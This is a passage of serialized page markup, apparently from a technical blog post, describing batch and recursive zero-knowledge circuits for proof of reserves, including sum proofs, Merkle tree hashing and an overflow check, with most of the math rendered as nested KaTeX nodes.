tyle":103382},[15284],[104746],{"type":29,"value":14370},{"type":23,"tag":75,"props":104748,"children":104750},{"className":104749},[15284,32803],[104751],{"type":29,"value":67587},{"type":23,"tag":75,"props":104753,"children":104755},{"className":104754},[15284,32803],[104756],{"type":29,"value":103641},{"type":23,"tag":75,"props":104758,"children":104760},{"className":104759},[15284,32803],[104761],{"type":29,"value":62318},{"type":23,"tag":75,"props":104763,"children":104765},{"className":104764},[32954],[104766],{"type":29,"value":1610},{"type":29,"value":949},{"type":23,"tag":16596,"props":104769,"children":104770},{},[104771],{"type":29,"value":104772},"(sum proof)",{"type":23,"tag":2801,"props":104774,"children":104775},{},[104776,105165,105166],{"type":23,"tag":71,"props":104777,"children":104779},{"className":104778},[15256,15257],[104780],{"type":23,"tag":75,"props":104781,"children":104783},{"className":104782},[15262],[104784],{"type":23,"tag":75,"props":104785,"children":104787},{"className":104786,"ariaHidden":15268},[15267],[104788,104874],{"type":23,"tag":75,"props":104789,"children":104791},{"className":104790},[15273],[104792,104797,104802,104808,104814,104819,104824,104829,104834,104840,104845,104851,104856,104861,104865,104870],{"type":23,"tag":75,"props":104793,"children":104796},{"className":104794,"style":104795},[15278],"height:1.0044em;vertical-align:-0.31em;",[],{"type":23,"tag":75,"props":104798,"children":104800},{"className":104799},[15284,32803],[104801],{"type":29,"value":62318},{"type":23,"tag":75,"props":104803,"children":104805},{"className":104804,"style":103382},[15284,32803],[104806],{"type":29,"value":104807},"er",{"type":23,"tag":75,"props":104809,"children":104812},{"className":104810,"style":104811},[15284,32803],"margin-right:0.03148em;",[104813],{"type":29,"value":13080},{"type":23,"tag":75,"props":104815,"children":104817},{"className":104816,"style":103394},[15284,32803],[104818],{"type":29,"value":103397},{"type":23,"tag":75,"props":104820,"children":104822},{"className":104821},[15284,32803],[104823],{"type":29,"value":62639},{"type":23,"tag":75,"props":104825,"children":104827},{"className":104826,"style":103382},[15284],[104828],{"type":29,"value":14370},{"type":23,"tag":75,"props":104830,"children":104832},{"className":104831},[15284,32803],[104833],{"type":29,"value":32945},{"type":23,"tag":75,"props":104835,"children":104837},{"className":104836},[15284,32803],[104838],{"type":29,"value":104839},"ree",{"type":23,"tag":75,"props":104841,"children":104843},{"className":104842,"style":103382},[15284],[104844],{"type":29,"value":14370},{"type":23,"tag":75,"props":104846,"children":104848},{"className":104847},[15284,32803],[104849],{"type":29,"value":104850},"ha",{"type":23,"tag":75,"props":104852,"children":104854},{"className":104853},[15284,32803],[104855],{"type":29,"value":21899},{"type":23,"tag":75,"props":104857,"children":104859},{"className":104858},[15284,32803],[104860],{"type":29,"value":8730},{"type":23,"tag":75,"props":104862,"children":104864},{"className":104863,"style":15461},[15363],[],{"type":23,"tag":75,"props":104866,"children":104868},{"className":104867},[15466],[104869],{"type":29,"value":2469},{"type":23,"tag":75,"props":104871,"children":104873},{"className":104872,"style":15461},[15363],[],{"type":23,"tag":75,"props":104875,"children":104877},{"className":104876},[15273],[104878,104882,104887,104892,104897,104902,104907,104912,104917,104922,104927,104984,104989,104993,104998,105003,105060,105065,105070,105074,105079,105084,105088,105093,105098,105160],{"type":23,"tag":75,"props":104879,"children":104881},{"className":104880,"style":15384},[15278],[],{"type":23,"tag":75,"props":104883,"children":104885},{"className":104884,"style":32804},[15284,32803],[104886],{"type":29,"value":32807},{"type":23,"tag":75,"props":104888,"children":104890},{"className":104889},[15284,32803],[104891],{"type":29,"value":103336},{"type":23,"tag":75,"props":104893,"children":104895},{"className":104894},[15284,32803],[104896],{"type":29,"value":12935},{"type":23,"tag":75,"props":104898,"children":104900},{"className":104899},[15284,32803],[104901],{"type":29,"value":81736},{"type":23,"tag":75,"props":104903,"children":104905},{"className":104904},[15284,32803],[104906],{"type":29,"value":103352},{"type":23,"tag":75,"props":104908,"children":104910},{"className":104909},[15284,32803],[104911],{"type":29,"value":67587},{"type":23,"tag":75,"props":104913,"children":104915},{"className":104914},[32932],[104916],{"type":29,"value":643},{"type":23,"tag":75,"props":104918,"children":104920},{"className":104919},[15284,32803],[104921],{"type":29,"value":104850},{"type":23,"tag":75,"props":104923,"children":104925},{"className":104924},[15284,32803],[104926],{"type":29,"value":21899},{"type":23,"tag":75,"props":104928,"children":104930},{"className":104929},[15284],[104931,104936],{"type":23,"tag":75,"props":104932,"children":104934},{"className":104933},[15284,32803],[104935],{"type":29,"value":8730},{"type":23,"tag":75,"props":104937,"children":104939},{"className":104938},[15299],[104940],{"type":23,"tag":75,"props":104941,"children":104943},{"className":104942},[15304,32857],[104944,104973],{"type":23,"tag":75,"props":104945,"children":104947},{"className":104946},[15309],[104948,104968],{"type":23,"tag":75,"props":104949,"children":104951},{"className":104950,"style":103434},[15314],[104952],{"type":23,"tag":75,"props":104953,"children":104954},{"style":103438},[104955,104959],{"type":23,"tag":75,"props":104956,"children":104958},{"className":104957,"style":15324},[15323],[],{"type":23,"tag":75,"props":104960,"children":104962},{"className":104961},[15329,15330,15331,15332],[104963],{"type":23,"tag":75,"props":104964,"children":104966},{"className":104965},[15284,15332],[104967],{"type":29,"value":648},{"type":23,"tag":75,"props":104969,"children":104971},{"className":104970},[32960],[104972],{"type":29,"value":32963},{"type":23,"tag":75,"props":104974,"children":104976},{"className":104975},[15309],[104977],{"type":23,"tag":75,"props":104978,"children":104980},{"className":104979,"style":103465},[15314],[104981],{"type":23,"tag":75,"props":104982,"children":104983},{},[],{"type":23,"tag":75,"props":104985,"children":104987},{"className":104986},[15395],[104988],{"type":29,"value":15398},{"type":23,"tag":75,"props":104990,"children":104992},{"className":104991,"style":15402},[15363],[],{"type":23,"tag":75,"props":104994,"children":104996},{"className":104995},[15284,32803],[104997],{"type":29,"value":104850},{"type":23,"tag":75,"props":104999,"children":105001},{"className":105000},[15284,32803],[105002],{"type":29,"value":21899},{"type":23,"tag":75,"props":105004,"children":105006},{"className":105005},[15284],[105007,105012],{"type":23,"tag":75,"props":105008,"children":105010},{"className":105009},[15284,32803],[105011],{"type":29,"value":8730},{"type":23,"tag":75,"props":105013,"children":105015},{"className":105014},[15299],[105016],{"type":23,"tag":75,"props":105017,"children":105019},{"className":105018},[15304,32857],[105020,105049],{"type":23,"tag":75,"props":105021,"children":105023},{"className":105022},[15309],[105024,105044],{"type":23,"tag":75,"props":105025,"children":105027},{"className":105026,"style":103434},[15314],[105028],{"type":23,"tag":75,"props":105029,"children":105030},{"style":103438},[105031,105035],{"type":23,"tag":75,"props":105032,"children":105034},{"className":105033,"style":15324},[15323],[],{"type":23,"tag":75,"props":105036,"children":105038},{"className":105037},[15329,15330,15331,15332],[105039],{"type":23,"tag":75,"props":105040,"children":105042},{"className":105041},[15284,15332],[105043],{"type":29,"value":7867},{"type":23,"tag":75,"props":105045,"children":105047},{"className":105046},[32960],[105048],{"type":29,"value":32963},{"type":23,"tag":75,"props":105050,"children":105052},{"className":105051},[15309],[105053],{"type":23,"tag":75,"props":105054,"children":105056},{"className":105055,"style":103465},[15314],[105057],{"type":23,"tag":75,"props":105058,"children":105059},{},[],{"type":23,"tag":75,"props":105061,"children":105063},{"className":105062},[15395],[105064],{"type":29,"value":15398},{"type":23,"tag":75,"props":105066,"children":105068},{"className":105067},[15363],[105069],{"type":29,"value":32904},{"type":23,"tag":75,"props":105071,"children":105073},{"className":105072,"style":15402},[15363],[],{"type":23,"tag":75,"props":105075,"children":105077},{"className":105076},[15284],[105078],{"type":29,"value":9174},{"type":23,"tag":75,"props":105080,"children":105082},{"className":105081},[15395],[105083],{"type":29,"value":15398},{"type":23,"tag":75,"props":105085,"children":105087},{"className":105086,"style":15402},[15363],[],{"type":23,"tag":75,"props":105089,"children":105091},{"className":105090},[15284,32803],[105092],{"type":29,"value":104850},{"type":23,"tag":75,"props":105094,"children":105096},{"className":105095},[15284,32803],[105097],{"type":29,"value":21899},{"type":23,"tag":75,"props":105099,"children":105101},{"className":105100},[15284],[105102,105107],{"type":23,"tag":75,"props":105103,"children":105105},{"className":105104},[15284,32803],[105106],{"type":29,"value":8730},{"type":23,"tag":75,"props":105108,"children":105110},{"className":105109},[15299],[105111],{"type":23,"tag":75,"props":105112,"children":105114},{"className":105113},[15304,32857],[105115,105149],{"type":23,"tag":75,"props":105116,"children":105118},{"className":105117},[15309],[105119,105144],{"type":23,"tag":75,"props":105120,"children":105122},{"className":105121,"style":103434},[15314],[105123],{"type":23,"tag":75,"props":105124,"children":105125},{"style":103438},[105126,105130],{"type":23,"tag":75,"props":105127,"children":105129},{"className":105128,"style":15324},[15323],[],{"type":23,"tag":75,"props":105131,"children":105133},{"className":105132},[15329,15330,15331,15332],[105134],{"type":23,"tag":75,"props":105135,"children":105137},{"className":105136},[15284,15332],[105138],{"type":23,"tag":75,"props":105139,"children":105141},{"className":105140},[15284,15332],[105142],{"type":29,"value":105143},"511",{"type":23,"tag":75,"props":105145,"children":105147},{"className":105146},[32960],[105148],{"type":29,"value":32963},{"type":23,"tag":75,"props":105150,"children":105152},{"className":105151},[15309],[105153],{"type":23,"tag":75,"props":105154,"children":105156},{"className":105155,"style":103465},[15314],[105157],{"type":23,"tag":75,"props":105158,"children":105159},{},[],{"type":23,"tag":75,"props":105161,"children":105163},{"className":105162},[32954],[105164],{"type":29,"value":1347},{"type":29,"value":949},{"type":23,"tag":16596,"props":105167,"children":105168},{},[105169],{"type":29,"value":105170},"(merkle tree hash)",{"type":23,"tag":2801,"props":105172,"children":105173},{},[105174,105449,105450,105455,105457,105462],{"type":23,"tag":71,"props":105175,"children":105177},{"className":105176},[15256,15257],[105178],{"type":23,"tag":75,"props":105179,"children":105181},{"className":105180},[15262],[105182],{"type":23,"tag":75,"props":105183,"children":105185},{"className":105184,"ariaHidden":15268},[15267],[105186,105379],{"type":23,"tag":75,"props":105187,"children":105189},{"className":105188},[15273],[105190,105194,105199,105204,105209,105214,105219,105224,105229,105234,105239,105244,105249,105254,105259,105264,105321,105326,105331,105336,105341,105346,105351,105356,105361,105366,105370,105375],{"type":23,"tag":75,"props":105191,"children":105193},{"className":105192,"style":103324},[15278],[],{"type":23,"tag":75,"props":105195,"children":105197},{"className":105196},[15284,32803],[105198],{"type":29,"value":940},{"type":23,"tag":75,"props":105200,"children":105202},{"className":105201},[15284,32803],[105203],{"type":29,"value":103839},{"type":23,"tag":75,"props":105205,"children":105207},{"className":105206},[15284,32803],[105208],{"type":29,"value":103641},{"type":23,"tag":75,"props":105210,"children":105212},{"className":105211},[15284,32803],[105213],{"type":29,"value":67587},{"type":23,"tag":75,"props":105215,"children":105217},{"className":105216},[15284,32803],[105218],{"type":29,"value":32945},{"type":23,"tag":75,"props":105220,"children":105222},{"className":105221,"style":103382},[15284],[105223],{"type":29,"value":14370},{"type":23,"tag":75,"props":105225,"children":105227},{"className":105226},[15284,32803],[105228],{"type":29,"value":940},{"type":23,"tag":75,"props":105230,"children":105232},{"className":105231},[15284,32803],[105233],{"type":29,"value":103373},{"type":23,"tag":75,"props":105235,"children":105237},{"className":105236},[15284,32803],[105238],{"type":29,"value":32945},{"type":23,"tag":75,"props":105240,"children":105242},{"className":105241,"style":103382},[15284],[105243],{"type":29,"value":14370},{"type":23,"tag":75,"props":105245,"children":105247},{"className":105246},[15284,32803],[105248],{"type":29,"value":103390},{"type":23,"tag":75,"props":105250,"children":105252},{"className":105251,"style":103394},[15284,32803],[105253],{"type":29,"value":103397},{"type":23,"tag":75,"props":105255,"children":105257},{"className":105256},[15284,32803],[105258],{"type":29,"value":103403},{"type":23,"tag":75,"props":105260,"children":105262},{"className":105261},[15284,32803],[105263],{"type":29,"value":103409},{"type":23,"tag":75,"props":105265,"children":105267},{"className":105266},[15284],[105268,105273],{"type":23,"tag":75,"props":105269,"children":105271},{"className":105270},[15284,32803],[105272],{"type":29,"value":21899},{"type":23,"tag":75,"props":105274,"children":105276},{"className":105275},[15299],[105277],{"type":23,"tag":75,"props":105278,"children":105280},{"className":105279},[15304,32857],[105281,105310],{"type":23,"tag":75,"props":105282,"children":105284},{"className":105283},[15309],[105285,105305],{"type":23,"tag":75,"props":105286,"children":105288},{"className":105287,"style":103911},[15314],[105289],{"type":23,"tag":75,"props":105290,"children":105291},{"style":103438},[105292,105296],{"type":23,"tag":75,"props":105293,"children":105295},{"className":105294,"style":15324},[15323],[],{"type":23,"tag":75,"props":105297,"children":105299},{"className":105298},[15329,15330,15331,15332],[105300],{"type":23,"tag":75,"props":105301,"children":105303},{"className":105302},[15284,32803,15332],[105304],{"type":29,"value":12935},{"type":23,"tag":75,"props":105306,"children":105308},{"className":105307},[32960],[105309],{"type":29,"value":32963},{"type":23,"tag":75,"props":105311,"children":105313},{"className":105312},[15309],[105314],{"type":23,"tag":75,"props":105315,"children":105317},{"className":105316,"style":103465},[15314],[105318],{"type":23,"tag":75,"props":105319,"children":105320},{},[],{"type":23,"tag":75,"props":105322,"children":105324},{"className":105323},[32932],[105325],{"type":29,"value":814},{"type":23,"tag":75,"props":105327,"children":105329},{"className":105328},[15284,32803],[105330],{"type":29,"value":940},{"type":23,"tag":75,"props":105332,"children":105334},{"className":105333},[15284,32803],[105335],{"type":29,"value":103373},{"type":23,"tag":75,"props":105337,"children":105339},{"className":105338},[15284,32803],[105340],{"type":29,"value":32945},{"type":23,"tag":75,"props":105342,"children":105344},{"className":105343,"style":103382},[15284],[105345],{"type":29,"value":14370},{"type":23,"tag":75,"props":105347,"children":105349},{"className":105348},[15284,32803],[105350],{"type":29,"value":67587},{"type":23,"tag":75,"props":105352,"children":105354},{"className":105353},[15284,32803],[105355],{"type":29,"value":103641},{"type":23,"tag":75,"props":105357,"children":105359},{"className":105358},[15284,32803],[105360],{"type":29,"value":62318},{"type":23,"tag":75,"props":105362,"children":105364},{"className":105363},[32954],[105365],{"type":29,"value":1610},{"type":23,"tag":75,"props":105367,"children":105369},{"className":105368,"style":15461},[15363],[],{"type":23,"tag":75,"props":105371,"children":105373},{"className":105372},[15466],[105374],{"type":29,"value":295},{"type":23,"tag":75,"props":105376,"children":105378},{"className":105377,"style":15461},[15363],[],{"type":23,"tag":75,"props":105380,"children":105382},{"className":105381},[15273],[105383,105387,105394,105399,105405,105410,105415,105420,105426,105431,105437,105443],{"type":23,"tag":75,"props":105384,"children":105386},{"className":105385,"style":103324},[15278],[],{"type":23,"tag":75,"props":105388,"children":105391},{"className":105389,"style":105390},[15284,32803],"margin-right:0.10903em;",[105392],{"type":29,"value":105393},"M",{"type":23,"tag":75,"props":105395,"children":105397},{"className":105396},[15284,32803],[105398],{"type":29,"value":1013},{"type":23,"tag":75,"props":105400,"children":105403},{"className":105401,"style":105402},[15284,32803],"margin-right:0.07847em;",[105404],{"type":29,"value":17401},{"type":23,"tag":75,"props":105406,"children":105408},{"className":105407,"style":103382},[15284],[105409],{"type":29,"value":14370},{"type":23,"tag":75,"props":105411,"children":105413},{"className":105412,"style":33262},[15284,32803],[105414],{"type":29,"value":1032},{"type":23,"tag":75,"props":105416,"children":105418},{"className":105417},[15284,32803],[105419],{"type":29,"value":1013},{"type":23,"tag":75,"props":105421,"children":105423},{"className":105422,"style":33262},[15284,32803],[105424],{"type":29,"value":105425},"FE",{"type":23,"tag":75,"props":105427,"children":105429},{"className":105428,"style":103382},[15284],[105430],{"type":29,"value":14370},{"type":23,"tag":75,"props":105432,"children":105434},{"className":105433,"style":105402},[15284,32803],[105435],{"type":29,"value":105436},"I",{"type":23,"tag":75,"props":105438,"children":105440},{"className":105439,"style":32804},[15284,32803],[105441],{"type":29,"value":105442},"NT",{"type":23,"tag":75,"props":105444,"children":105446},{"className":105445},[15284],[105447],{"type":29,"value":105448},"/512",{"type":29,"value":949},{"type":23,"tag":16596,"props":105451,"children":105452},{},[105453],{"type":29,"value":105454},"(overflow check)",{"type":29,"value":105456}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":23,"tag":71,"props":105458,"children":105460},{"className":105459},[],[105461],{"type":29,"value":103240},{"type":29,"value":1347},{"type":23,"tag":32,"props":105464,"children":105465},{},[105466],{"type":29,"value":105467},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are generated:",{"type":23,"tag":32,"props":105469,"children":105470},{},[105471],{"type":23,"tag":15189,"props":105472,"children":105474},{"alt":61763,"src":105473},"/posts/por/batch-circuit-inputs.png",[],{"type":23,"tag":923,"props":105476,"children":105478},{"id":105477},"recursive-circuit",[105479],{"type":29,"value":105480},"Recursive Circuit",{"type":23,"tag":32,"props":105482,"children":105483},{},[105484],{"type":29,"value":105485},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":23,"tag":32,"props":105487,"children":105488},{},[105489],{"type":23,"tag":16596,"props":105490,"children":105491},{},[105492],{"type":29,"value":103754},{"type":23,"tag":27910,"props":105494,"children":105495},{},[105496,105500,105505],{"type":23,"tag":2801,"props":105497,"children":105498},{},[105499],{"type":29,"value":103772},{"type":23,"tag":2801,"props":105501,"children":105502},{},[105503],{"type":29,"value":105504},"Asset prices",{"type":23,"tag":2801,"props":105506,"children":105507},{},[105508],{"type":29,"value":103767},{"type":23,"tag":32,"props":105510,"children":105511},{},[105512],{"type":23,"tag":16596,"props":105513,"children":105514},{},[105515],{"type":29,"value":103780},{"type":23,"tag":27910,"props":105517,"children":105518},{},[105519],{"type":23,"tag":2801,"props":105520,"children":105521},{},[105522],{"type":29,"value":105523},"8 subproofs",{"type":23,"tag":32,"props":105525,"children":105526},{},[105527],{"type":23,"tag":16596,"props":105528,"children":105529},{},[105530],{"type":29,"value":103801},{"type":23,"tag":27910,"props":105532,"children":105533},{},[105534,105944,106275,106642,107029],{"type":23,"tag":2801,"props":105535,"children":105536},{},[105537,105939,105940],{"type":23,"tag":71,"props":105538,"children":105540},{"className":105539},[15256,15257],[105541],{"type":23,"tag":75,"props":105542,"children":105544},{"className":105543},[15262],[105545],{"type":23,"tag":75,"props":105546,"children":105548},{"className":105547,"ariaHidden":15268},[15267],[105549,105685],{"type":23,"tag":75,"props":105550,"children":105552},{"className":105551},[15273],[105553,105557,105562,105567,105572,105577,105582,105587,105592,105597,105602,105607,105612,105617,105622,105627,105632,105637,105642,105647,105652,105657,105662,105667,105672,105676,105681],{"type":23,"tag":75,"props":105554,"children":105556},{"className":105555,"style":103324},[15278],[],{"type":23,"tag":75,"props":105558,"children":105560},{"className":105559},[15284,32803],[105561],{"type":29,"value":32945},{"type":23,"tag":75,"props":105563,"children":105565},{"className":105564},[15284,32803],[105566],{"type":29,"value":103352},{"type":23,"tag":75,"props":105568,"children":105570},{"className":105569},[15284,32803],[105571],{"type":29,"value":32945},{"type":23,"tag":75,"props":105573,"children":105575},{"className":105574},[15284,32803],[105576],{"type":29,"value":940},{"type":23,"tag":75,"props":105578,"children":105580},{"className":105579,"style":103394},[15284,32803],[105581],{"type":29,"value":103397},{"type":23,"tag":75,"props":105583,"children":105585},{"className":105584,"style":103382},[15284],[105586],{"type":29,"value":14370},{"type":23,"tag":75,"props":105588,"children":105590},{"className":105589},[15284,32803],[105591],{"type":29,"value":940},{"type":23,"tag":75,"props":105593,"children":105595},{"className":105594},[15284,32803],[105596],{"type":29,"value":103373},{"type":23,"tag":75,"props":105598,"children":105600},{"className":105599},[15284,32803],[105601],{"type":29,"value":32945},{"type":23,"tag":75,"props":105603,"children":105605},{"className":105604,"style":103382},[15284],[105606],{"type":29,"value":14370},{"type":23,"tag":75,"props":105608,"children":105610},{"className":105609},[15284,32803],[105611],{"type":29,"value":103390},{"type":23,"tag":75,"props":105613,"children":105615},{"className":105614,"style":103394},[15284,32803],[105616],{"type":29,"value":103397},{"type":23,"tag":75,"props":105618,"children":105620},{"className":105619},[15284,32803],[105621],{"type":29,"value":103403},{"type":23,"tag":75,"props":105623,"children":105625},{"className":105624},[15284,32803],[105626],{"type":29,"value":103409},{"type":23,"tag":75,"props":105628,"children":105630},{"className":105629},[32932],[105631],{"type":29,"value":814},{"type":23,"tag":75,"props":105633,"children":105635},{"className":105634},[15284,32803],[105636],{"type":29,"value":940},{"type":23,"tag":75,"props":105638,"children":105640},{"className":105639},[15284,32803],[105641],{"type":29,"value":103373},{"type":23,"tag":75,"props":105643,"children":105645},{"className":105644},[15284,32803],[105646],{"type":29,"value":32945},{"type":23,"tag":75,"props":105648,"children":105650},{"className":105649,"style":103382},[15284],[105651],{"type":29,"value":14370},{"type":23,"tag":75,"props":105653,"children":105655},{"className":105654},[15284,32803],[105656],{"type":29,"value":67587},{"type":23,"tag":75,"props":105658,"children":105660},{"className":105659},[15284,32803],[105661],{"type":29,"value":103641},{"type":23,"tag":75,"props":105663,"children":105665},{"className":105664},[15284,32803],[105666],{"type":29,"value":62318},{"type":23,"tag":75,"props":105668,"children":105670},{"className":105669},[32954],[105671],{"type":29,"value":1610},{"type":23,"tag":75,"props":105673,"children":105675},{"className":105674,"style":15461},[15363],[],{"type":23,"tag":75,"props":105677,"children":105679},{"className":105678},[15466],[105680],{"type":29,"value":2469},{"type":23,"tag":75,"props":105682,"children":105684},{"className":105683,"style":15461},[15363],[],{"type":23,"tag":75,"props":105686,"children":105688},{"className":105687},[15273],[105689,105693,105698,105703,105708,105713,105718,105723,105729,105788,105793,105798,105803,105808,105813,105818,105823,105828,105834,105839,105844,105849,105854,105859,105864,105869,105874,105879,105884,105889,105894,105899,105904,105909,105914,105919,105924,105929,105934],{"type":23,"tag":75,"props":105690,"children":105692},{"className":105691,"style":103324},[15278],[],{"type":23,"tag":75,"props":105694,"children":105696},{"className":105695},[15284],[105697],{"type":29,"value":103972},{"type":23,"tag":75,"props":105699,"children":105701},{"className":105700},[15363],[105702],{"type":29,"value":32904},{"type":23,"tag":75,"props":105704,"children":105706},{"className":105705},[15284,32803],[105707],{"type":29,"value":21899},{"type":23,"tag":75,"props":105709,"children":105711},{"className":105710},[15284,32803],[105712],{"type":29,"value":103641},{"type":23,"tag":75,"props":105714,"children":105716},{"className":105715},[15284,32803],[105717],{"type":29,"value":14507},{"type":23,"tag":75,"props":105719,"children":105721},{"className":105720},[15284,32803],[105722],{"type":29,"value":32},{"type":23,"tag":75,"props":105724,"children":105726},{"className":105725},[15284,32803],[105727],{"type":29,"value":105728},"roo",{"type":23,"tag":75,"props":105730,"children":105732},{"className":105731},[15284],[105733,105739],{"type":23,"tag":75,"props":105734,"children":105737},{"className":105735,"style":105736},[15284,32803],"margin-right:0.10764em;",[105738],{"type":29,"value":44278},{"type":23,"tag":75,"props":105740,"children":105742},{"className":105741},[15299],[105743],{"type":23,"tag":75,"props":105744,"children":105746},{"className":105745},[15304,32857],[105747,105777],{"type":23,"tag":75,"props":105748,"children":105750},{"className":105749},[15309],[105751,105772],{"type":23,"tag":75,"props":105752,"children":105754},{"className":105753,"style":103911},[15314],[105755],{"type":23,"tag":75,"props":105756,"children":105758},{"style":105757},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[105759,105763],{"type":23,"tag":75,"props":105760,"children":105762},{"className":105761,"style":15324},[15323],[],{"type":23,"tag":75,"props":105764,"children":105766},{"className":105765},[15329,15330,15331,15332],[105767],{"type":23,"tag":75,"props":105768,"children":105770},{"className":105769},[15284,32803,15332],[105771],{"type":29,"value":12935},{"type":23,"tag":75,"props":105773,"children":105775},{"className":105774},[32960],[105776],{"type":29,"value":32963},{"type":23,"tag":75,"props":105778,"children":105780},{"className":105779},[15309],[105781],{"type":23,"tag":75,"props":105782,"children":105784},{"className":105783,"style":103465},[15314],[105785],{"type":23,"tag":75,"props":105786,"children":105787},{},[],{"type":23,"tag":75,"props":105789,"children":105791},{"className":105790},[15284],[105792],{"type":29,"value":557},{"type":23,"tag":75,"props":105794,"children":105796},{"className":105795},[15284,32803],[105797],{"type":29,"value":32},{"type":23,"tag":75,"props":105799,"children":105801},{"className":105800},[15284,32803],[105802],{"type":29,"value":103641},{"type":23,"tag":75,"props":105804,"children":105806},{"className":105805},[15284,32803],[105807],{"type":29,"value":14507},{"type":23,"tag":75,"props":105809,"children":105811},{"className":105810,"style":103394},[15284,32803],[105812],{"type":29,"value":103397},{"type":23,"tag":75,"props":105814,"children":105816},{"className":105815},[15284,32803],[105817],{"type":29,"value":12935},{"type":23,"tag":75,"props":105819,"children":105821},{"className":105820},[15284,32803],[105822],{"type":29,"value":14432},{"type":23,"tag":75,"props":105824,"children":105826},{"className":105825,"style":103382},[15284],[105827],{"type":29,"value":14370},{"type":23,"tag":75,"props":105829,"children":105831},{"className":105830},[15284,32803],[105832],{"type":29,"value":105833},"in",{"type":23,"tag":75,"props":105835,"children":105837},{"className":105836},[15284,32803],[105838],{"type":29,"value":32},{"type":23,"tag":75,"props":105840,"children":105842},{"className":105841},[15284,32803],[105843],{"type":29,"value":103641},{"type":23,"tag":75,"props":105845,"children":105847},{"className":105846},[15284,32803],[105848],{"type":29,"value":32945},{"type":23,"tag":75,"props":105850,"children":105852},{"className":105851},[15284],[105853],{"type":29,"value":557},{"type":23,"tag":75,"props":105855,"children":105857},{"className":105856},[15284,32803],[105858],{"type":29,"value":940},{"type":23,"tag":75,"props":105860,"children":105862},{"className":105861},[15284,32803],[105863],{"type":29,"value":103373},{"type":23,"tag":75,"props":105865,"children":105867},{"className":105866},[15284,32803],[105868],{"type":29,"value":32945},{"type":23,"tag":75,"props":105870,"children":105872},{"className":105871,"style":103382},[15284],[105873],{"type":29,"value":14370},{"type":23,"tag":75,"props":105875,"children":105877},{"className":105876},[15284,32803],[105878],{"type":29,"value":103390},{"type":23,"tag":75,"props":105880,"children":105882},{"className":105881,"style":103394},[15284,32803],[105883],{"type":29,"value":103397},{"type":23,"tag":75,"props":105885,"children":105887},{"className":105886},[15284,32803],[105888],{"type":29,"value":103403},{"type":23,"tag":75,"props":105890,"children":105892},{"className":105891},[15284,32803],[105893],{"type":29,"value":104212},{"type":23,"tag":75,"props":105895,"children":105897},{"className":105896},[32932],[105898],{"type":29,"value":814},{"type":23,"tag":75,"props":105900,"children":105902},{"className":105901},[15284,32803],[105903],{"type":29,"value":940},{"type":23,"tag":75,"props":105905,"children":105907},{"className":105906},[15284,32803],[105908],{"type":29,"value":103373},{"type":23,"tag":75,"props":105910,"children":105912},{"className":105911},[15284,32803],[105913],{"type":29,"value":32945},{"type":23,"tag":75,"props":105915,"children":105917},{"className":105916,"style":103382},[15284],[105918],{"type":29,"value":14370},{"type":23,"tag":75,"props":105920,"children":105922},{"className":105921},[15284,32803],[105923],{"type":29,"value":67587},{"type":23,"tag":75,"props":105925,"children":105927},{"className":105926},[15284,32803],[105928],{"type":29,"value":103641},{"type":23,"tag":75,"props":105930,"children":105932},{"className":105931},[15284,32803],[105933],{"type":29,"value":62318},{"type":23,"tag":75,"props":105935,"children":105937},{"className":105936},[32954],[105938],{"type":29,"value":1610},{"type":29,"value":949},{"type":23,"tag":16596,"props":105941,"children":105942},{},[105943],{"type":29,"value":104772},{"type":23,"tag":2801,"props":105945,"children":105946},{},[105947],{"type":23,"tag":71,"props":105948,"children":105950},{"className":105949},[15256,15257],[105951],{"type":23,"tag":75,"props":105952,"children":105954},{"className":105953},[15262],[105955],{"type":23,"tag":75,"props":105956,"children":105958},{"className":105957,"ariaHidden":15268},[15267],[105959,106065],{"type":23,"tag":75,"props":105960,"children":105962},{"className":105961},[15273],[105963,105967,105972,105977,105982,105987,105992,105997,106002,106007,106012,106017,106022,106027,106032,106037,106042,106047,106052,106056,106061],{"type":23,"tag":75,"props":105964,"children":105966},{"className":105965,"style":103324},[15278],[],{"type":23,"tag":75,"props":105968,"children":105970},{"className":105969},[15284,32803],[105971],{"type":29,"value":940},{"type":23,"tag":75,"props":105973,"children":105975},{"className":105974},[15284,32803],[105976],{"type":29,"value":103373},{"type":23,"tag":75,"props":105978,"children":105980},{"className":105979},[15284,32803],[105981],{"type":29,"value":32945},{"type":23,"tag":75,"props":105983,"children":105985},{"className":105984,"style":103382},[15284],[105986],{"type":29,"value":14370},{"type":23,"tag":75,"props":105988,"children":105990},{"className":105989},[15284,32803],[105991],{"type":29,"value":32},{"type":23,"tag":75,"props":105993,"children":105995},{"className":105994,"style":103382},[15284,32803],[105996],{"type":29,"value":104201},{"type":23,"tag":75,"props":105998,"children":106000},{"className":105999},[15284,32803],[106001],{"type":29,"value":12935},{"type":23,"tag":75,"props":106003,"children":106005},{"className":106004},[15284,32803],[106006],{"type":29,"value":103409},{"type":23,"tag":75,"props":106008,"children":106010},{"className":106009},[32932],[106011],{"type":29,"value":814},{"type":23,"tag":75,"props":106013,"children":106015},{"className":106014},[15284,32803],[106016],{"type":29,"value":940},{"type":23,"tag":75,"props":106018,"children":106020},{"className":106019},[15284,32803],[106021],{"type":29,"value":103373},{"type":23,"tag":75,"props":106023,"children":106025},{"className":106024},[15284,32803],[106026],{"type":29,"value":32945},{"type":23,"tag":75,"props":106028,"children":106030},{"className":106029,"style":103382},[15284],[106031],{"type":29,"value":14370},{"type":23,"tag":75,"props":106033,"children":106035},{"className":106034},[15284,32803],[106036],{"type":29,"value":67587},{"type":23,"tag":75,"props":106038,"children":106040},{"className":106039},[15284,32803],[106041],{"type":29,"value":103641},{"type":23,"tag":75,"props":106043,"children":106045},{"className":106044},[15284,32803],[106046],{"type":29,"value":62318},{"type":23,"tag":75,"props":106048,"children":106050},{"className":106049},[32954],[106051],{"type":29,"value":1610},{"type":23,"tag":75,"props":106053,"children":106055},{"className":106054,"style":15461},[15363],[],{"type":23,"tag":75,"props":106057,"children":106059},{"className":106058},[15466],[106060],{"type":29,"value":2469},{"type":23,"tag":75,"props":106062,"children":106064},{"className":106063,"style":15461},[15363],[],{"type":23,"tag":75,"props":106066,"children":106068},{"className":106067},[15273],[106069,106073,106078,106083,106088,106093,106098,106155,106160,106165,106170,106175,106180,106185,106190,106195,106200,106205,106210,106215,106220,106225,106230,106235,106240,106245,106250,106255,106260,106265,106270],{"type":23,"tag":75,"props":106070,"children":106072},{"c